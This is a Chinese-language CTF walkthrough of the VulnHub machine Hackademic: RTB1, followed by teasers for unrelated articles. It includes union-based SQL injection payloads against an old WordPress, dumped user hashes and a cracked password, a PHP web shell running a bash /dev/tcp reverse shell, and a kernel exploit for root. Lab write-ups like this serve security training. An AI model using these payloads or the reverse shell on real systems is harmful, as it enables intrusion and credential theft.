[VulnHub靶机渗透] Hackademic: RTB1

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 前言

0x2 信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

0x3 渗透测试+信息收集

1、web服务信息收集

2、SQL注入漏洞

一、手工联合注入

二、sqlmap脚本小子

3、上传木马,反弹shell

0x4 提权

1、基本提权+信息收集

2、内核提权

3、成功拿到key.txt


0x1 前言

靶机精讲之Hackademic: RTB1,vulnhub靶机,手动SQL注入,小试牛刀,内核提权。读遍牙签三万轴,欲来小邑试牛刀。

靶机下载地址:

Hackademic: RTB1 ~ VulnHub

0x2 信息收集

1、主机探测

我们首先利用arp进行主机探测,发现靶机的IP地址是10.10.10.134

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# arp-scan -l

2、端口扫描

利用nmap扫描靶机的端口开放情况,发现只开启了80端口,并且22端口ssh服务还被关闭了,那么目前分析,这个靶场利用找到用户名密码然后ssh远程连接的常规思路是不行了的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sS -A -p- 10.10.10.134 

这将扫描目标主机的UDP协议并列出最常见的20个端口的状态,但是目前看没有发现什么有价值的端口。就目前来看,还是80端口的web服务是最为吸引我们的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sU --top-ports 20 10.10.10.134

3、漏洞扫描

--script=vuln是nmap自带的漏洞扫描模块,我们简单的利用nmap扫描下漏洞,

也就是扫描到了几个比较老版本的漏洞,比如CVE-2007-6750、CVE-2011-3192等,但是我都上网查了下这几个漏洞的危害,都是类似ddos的让某个http网站访问不了的功能,对应我们这里渗透测试拿root权限来讲,意义不是很大,感兴趣的师傅可以尝试下。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap --script=vuln -p80 10.10.10.134

0x3 渗透测试+信息收集

1、web服务信息收集

我们这里直接访问IP地址,访问这个web服务,发现是个静态的HTML页面,上面的英文意思就是让我们拿到root权限,然后拿到root目录下的key.txt文件。

这里是静态的HTML页面,一般渗透测试中包括实战中,碰到都是可以右击查看网页源代码的,

目前没有发现什么有价值的信息。

发现这个可以点击看看

然后老规矩查看网页源代码,

这次有收获,发现这个网站是个wordpress 的CMS框架网站,看着版本是1.5.1.1,应该比较低,可能存在漏洞,那么我们就可以借助Google搜素了。

发现EXP里面确实存在这个版本的wordpress漏洞,并且存在sql注入漏洞,那么我们等会多留意下存在参数的地方,然后手工测一下sql注入。

2、SQL注入漏洞

这个页面存在参数,我们利用单引号' 测试下,发现页面没有报错,说明不存在SQL注入

一、手工联合注入

1、这个页面利用单引号' 测试,页面发生了报错,并且还看到了注入语句:

SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1

2、找到了注入点,那么下一步我们就需要尝试获取数据库到底有多少列,利用order by测试。

一直到5都是页面正常,但是到6 的时候页面发生了报错,说明这个数据库就是5列

1 order by 1,2,3,4,5

1 order by 1,2,3,4,5,6

3、接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,这里使用1 发现页面没有回显,那么一般我们就要不改大要不然改小点,反正目的就是为了能有数据回显出来。我这里改成了0。

1 union select 1,2,3,4,5

发现回显了个2,那么说明只有第二列才能回显

0 union select 1,2,3,4,5

因为大家可以看到报错的信息,后面有个LIMIT 1,说明只允许回显一列

4、果然没错,我们在第二列这里回显出来了数据库的版本信息以及数据库名"wordpress"

5、那么我们接着需要报后面的更多信息,主要是要拿到比如账号密码之类的信息

这里我们直接利用Google浏览器检索下面的关键字,因为wordpress CMS框架体系非常成熟,像数据库的很多信息都是一体化的,都是可以找到对应的信息的。

但是前提是我们得找到SQL注入的报错点,然后才能进一步的利用这个漏洞。

wordpress database description

找到 Table: wp_users ,里面有关于用户的具体字段数据

6、我们直接利用group_concat()进行读取数据库里面的字段数据,但是发现账号密码都没有分开,看着很乱,我们这里利用ASCII码的0x2d表示换行的意思,来进行数据的分开操作

group_concat()是一个SQL函数,通常用于将多行查询结果合并为一个字符串,以便更容易获取信息

这里需要补充一个字段就是user_level,这里是看红队大佬的笔记

然后我们进行修改下,可以看到GeorgeMiller用户的权限是最高的,我们这里需要进行提权操作,那么肯定首选权限高的用户。

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

二、sqlmap脚本小子

红队大佬说的是一般情况下不使用sqlmap脚本跑,除非没有任何思路了,我们使用手工联合注入可以让我们更加清楚这个底层原理,而不是为了拿到root权限当脚本小子,下面使用sqlmap跑我这里不做太多的说明,跑出数据库来即可,要是想用sqlmap的可以自己尝试下。

sqlmap -u "http://10.10.10.134/Hackademic_RTB1/?cat=0" --dbs --batch

3、上传木马,反弹shell

发现密码是MD5加密的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# hash-identifier "7cbb3252ba6b7e9c422fac5334d22054" 

MD5在线解密网站:

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

解密得到密码是:q1w2e3

登录wordpress后台,像wordpress这种特别成熟的CMS框架,登录页面的目录位置也是固定的

/wp-login.php/目录

你要是不知道,其实这里扫描目录也是可以看到的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# dirsearch -u http://10.10.10.134/Hackademic_RTB1/ -i 200

输入账号密码GeorgeMiller:q1w2e3即可登录进去了,

像这个wordpress模块的功能也是很熟悉的,因为这个CMS博客框架很普遍了,如果不了解的师傅可以搞个WP博客玩下。

像里面有好几个地方是可以进行漏洞利用的,一个是里面的插件位置,还有一个就是upload文件上传的位置,我们可以上传php木马,然后kali监听,反弹shell。

下面我带师傅们从上传php木马来演示!

1、首先按照下面的顺序点击如下,意思就是允许文件上传,并且允许上传php文件

师傅们要是看不懂,可以用Google翻译下哈,多了解下这个网站的功能点是什么意思,对我们渗透测试很有帮助的!

给大家推荐个写自动化脚本的网站:

Online - Reverse Shell Generator

/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

php木马如下:

<?php exec("/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"); ?>

然后kali进行监听,访问上面的bin.php木马

反弹shell成功了

0x4 提权

1、基本提权+信息收集

一般进入一个用户权限的shell中,一般都会尝试下sudo提权以及SUID提权,还会看历史进程会不会有可以利用的恶意进程,以及history历史命令查看。

2、内核提权

没办法了,一般基本的提权都没用,这里要拿到root权限,那么就必须得尝试下内核提权了。

很多开始学习的师傅们感觉内核提权很简单,调用别人的内核提权脚本直接编译然后执行就可以了,其实实际上并不是的,内核提权是很复杂的,因为需要你从很多脚本中进行筛选,是个细活。

需要渗透测试人员的渗透经验来进行判断。

bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

我们使用searchsploit 工具进行检索过滤,发现还是有很多的脚本需要我们进行筛选

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'

这里我看红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞。

searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' |grep -v 'Ubuntu' |grep -v 'CentOS' |grep -v 'Debian' |grep -v 'RedHat'

-v是反向查询,也就是把不需要的关键词过滤掉

其实一看还是蛮多的,这里我们先从最匹配的几个开始下手测试下,

就是10018.sh和15285.c这两个脚本。

其中10018.sh这个脚本我先测试的,发现提权没有成功,但是第二次使用15285.c脚本测试成功提权了

我们先把脚本下载到本地,然后通过http服务上传到靶机的/tmp目录下(这个临时目录的权限比较高)

编译15285.c ,然后再提高权限,然后执行改提权脚本,成功拿到root权限

gcc 15285.c -o 15285
chmod -R 777 15285
./15285

3、成功拿到key.txt

sh-4.0# cat key.txt~
cat key.txt~
Yeah!!
You must be proud becouse you ve got the password to complete the First Reallistic Hackademic Challenge (Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/612003.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

day2_greedyIntervalsLRU/LFU

二、贪心算法之区间调度问题 0.计算一个区间集合中无重复的区间的最大数量(模板) public int intervalSchedule(int[][] intvs) {if (intvs.length 0) return 0;// 按 end 升序排序Arrays.sort(intvs, (a, b) -> Integer.compare(a[1], b[1]));// 至少有一个区间不相交in…

Baidu Comate 编程插件:提升开发效率的利器

文章目录 引言简介目的 Baidu Comate插件概述定义与功能市场现状竞品分析 安装与配置VsCode 安装&#xff1a;注意事项 版本选择 核心特性详解功能介绍代码生成实时续写错误纠正 使用体验体验地址 引言 简介 基于文心大模型&#xff0c;结合百度积累多年的编程现场大数据和外…

专业做护眼灯的有哪些品牌?几款专业儿童卧室灯品牌分享

在当今时代&#xff0c;我们观察到一个不容忽视的现象&#xff1a;孩子们的视力问题日益增多&#xff0c;这无疑向众多家长发出了警示。它提醒着我们&#xff0c;除了追求学术成就之外&#xff0c;孩子们的视觉健康同样重要&#xff0c;不容忽视。因此&#xff0c;选择一款适合…

leetcode刷题:对称二叉树

题目&#xff1a; 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true 示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,null,3] 输出&#xff1a;false 提示&#xf…

以导航产品为核心,东软想为车企扫除出海障碍

得益于新能源汽车领域多年的布局&#xff0c;以及在汽车智能化方面的先发优势&#xff0c;近年来&#xff0c;中国汽车品牌在质与量上都得到了极大提升&#xff0c;并带来强大的竞争力。 据海关总署公布的数据&#xff0c;过去三年&#xff0c;中国汽车出口规模连续突破式发展…

LeetCode算法题:7. 整数反转

给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 如果反转后整数超过 32 位的有符号整数的范围 [−2^31, 2^31 − 1] &#xff0c;就返回 0。 假设环境不允许存储 64 位整数&#xff08;有符号或无符号&#xff09;。 示例 1&#xff1a; 输…

会赚钱的人都在做这件事:你了解吗?

在我们日常生活的点滴中&#xff0c;以及在各种场合的交互中&#xff0c;利他思维始终扮演着不可或缺的角色。当我们追求合作与共赢时&#xff0c;单方面的自我立场显然是不够的&#xff0c;真正的关键在于换位思考&#xff0c;寻找并满足对方的需求。 互利互赢的核心理念正是利…

【挑战30天首通《谷粒商城》】-【第一天】【10 番外篇】 解决docker 仓库无法访问 + MobaXterm连接VirtualBox虚拟机

文章目录 课程介绍 1、解决docker 仓库无法访问 2、 MobaXterm连接VirtualBox虚拟机 Stage 1&#xff1a;下载MobaXterm选择适合你的版本 Stage 2&#xff1a;vagrant ssh 连接&#xff0c;开启ssh访问 Stage 2-1&#xff1a;su获取root账号权限,输入密码&#xff08;默认vagra…

纯血鸿蒙APP实战开发——阅读翻页方式案例

介绍 本示例展示手机阅读时左右翻页&#xff0c;上下翻页&#xff0c;覆盖翻页的功能。 效果图预览 使用说明 进入模块即是左右翻页模式。点击屏幕中间区域弹出上下菜单。点击设置按钮&#xff0c;弹出翻页方式切换按钮&#xff0c;点击可切换翻页方式。左右翻页方式可点击翻…

【软件测试】3.开发模型

目录 1.常见的开发模型 1.1瀑布模型 1.2螺旋模型 1.3增量模型和迭代模型 1.4敏捷模型 1.4.1特点&#xff1a; 1.5Scrum模型&#xff08;三个角色和五个重要会议&#xff09; 1.5.1三个角色&#xff1a; 1.5.2Scrum工作流程&#xff08;五个会议&#xff09; 1.6测试模…

如何选择适合自己网站的SSL证书提供商?

在互联网技术飞速发展的今天&#xff0c;确保数据安全已成为网站运营的基石。HTTPS证书作为一项重要的安全认证协议&#xff0c;对于保护数据传输的安全性至关重要。本文将为您提供一份详尽的指南&#xff0c;帮助您了解如何申请和部署HTTPS证书。 一、选择SSL证书提供商 首先…

JUC下的CompletableFuture详解

详细介绍 CompletableFuture是Java 8引入的一个实现Future接口的类&#xff0c;它代表一个异步计算的结果。与传统的Future相比&#xff0c;CompletableFuture提供了更丰富的功能&#xff0c;比如链式调用、组合异步操作、转换结果、异常处理等&#xff0c;极大地增强了Java在…

给网络镜像模式下的 WSL2 使用 127.0.0.1代理的方法

网络镜像模式下的WSL2虽然复制了宿主机windows的ip&#xff0c;但是仍然无法访问127.0.0.1的代理。经过调查&#xff0c;发现因为WSL2从应用商店下载而来&#xff0c;所以可能是UWP应用&#xff0c;所以需要用工具解除环回代理限制。

mysql 不停的重启关闭

早上在使用phpstudy的时候&#xff0c;发现自己的mysql5.7和5.8都出现了问题&#xff0c;就是不停的重启&#xff0c;在梳理了状况之后&#xff0c;可能是硬盘的内存空间不足&#xff0c;或者硬盘出现了问题&#xff1b;于是我将mysql 重新安装了一次&#xff0c;整个问题就解决…

数据结构(四)————二叉树和堆(中)

制作不易&#xff0c;三连支持一下呗&#xff01;&#xff01;&#xff01; 文章目录 前言一、堆的概念及结构二、堆的实现三.堆的应用 总结 前言 CSDN 这篇博客介绍了二叉树中的基本概念和存储结构&#xff0c;接下来我们将运用这些结构来实现二叉树 一、堆的概念及结构 1…

一篇文章,系统性聊聊Java注解

你好&#xff01; 这类系统性聊聊***知识点的文章&#xff0c;是希望给大家带来对某个技术的全貌认识&#xff0c;如果大家喜欢&#xff0c;后续可以陆续更新此系列 下面&#xff0c;开始今天的分享 在之前&#xff0c;我们已经分享过注解相关的三个面试题&#xff0c; 今天的…

信号量、PV操作及软考高级试题解析

信号量 在并发系统中&#xff0c;信号量是用于控制公共资源访问权限的变量。信号量用于解决临界区问题&#xff0c;使得多任务环境下&#xff0c;进程能同步运行。此概念是由荷兰计算机科学家Dijkstra在1962年左右提出的。信号量仅仅跟踪还剩多少资源可用&#xff0c;不会跟踪…

Cloudera简介和安装部署

ChatGPT Cloudera 是一个基于 Apache Hadoop 的数据管理和分析平台。它是由 Hadoop 的几位创始人及早期贡献者于 2008 年创立的公司&#xff0c;并随着公司的不断发展&#xff0c;Cloudera 开始提供企业级的解决方案&#xff0c;帮助企业更好地利用 Hadoop 生态系统进行大数据…

2024.05.10作业

TCP服务器 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTcpServer> #include <QTcpSocket> #include <QList> #include <QMessageBox> #include <QDebug>QT_BEGIN_NAMESPACE namespace Ui { class Widget; …

mp4压缩怎么压缩?知道压缩原理和工具就会了!

在数字化时代&#xff0c;视频已成为我们生活中不可或缺的一部分。然而&#xff0c;随着视频质量的提升&#xff0c;文件大小也随之增加&#xff0c;给存储和传输带来了不小的挑战。因此&#xff0c;掌握MP4视频压缩技巧变得尤为重要。本文将为你详细介绍MP4压缩的多种方法&…